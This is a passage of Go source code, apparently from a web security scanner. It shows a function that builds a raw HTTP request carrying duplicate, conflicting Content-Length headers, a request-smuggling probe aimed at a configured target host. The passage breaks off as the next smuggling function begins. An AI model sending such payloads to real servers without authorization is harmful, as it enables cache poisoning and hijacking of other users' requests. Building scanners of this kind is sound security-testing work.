(path string, headers string)
| 140 | } |
| 141 | |
| 142 | func clcl2(path string, headers string) string { |
| 143 | httpMethod := "POST" |
| 144 | if Config.Website.Cache.CBisHTTPMethod { |
| 145 | httpMethod = Config.Website.Cache.CBName |
| 146 | } |
| 147 | payload := fmt.Sprintf(""+ |
| 148 | "%s %s HTTP/1.1\r\n"+ // POST /about HTTP/1.1 |
| 149 | "Host: %s\r\n"+ // Host: example.com |
| 150 | "%s"+ // *Additional Headers generated* |
| 151 | "Content-Length: 6\r\n"+ // Content-Length: 11 |
| 152 | "Content-Length: 4\r\n"+ // Content-Length: 10 |
| 153 | "\r\n"+ // |
| 154 | "M\r\n"+ // M |
| 155 | "1\r\n"+ // 1 |
| 156 | "0\r\n"+ // 0 |
| 157 | "X"+ // X |
| 158 | "", httpMethod, path, Config.Website.Url.Host, headers) |
| 159 | |
| 160 | return payload |
| 161 | } |
| 162 | |
| 163 | func httpRequestSmuggling(req string, result *reportResult, proxyUrl *url.URL) { |
| 164 | /* |
no outgoing calls
no test coverage detected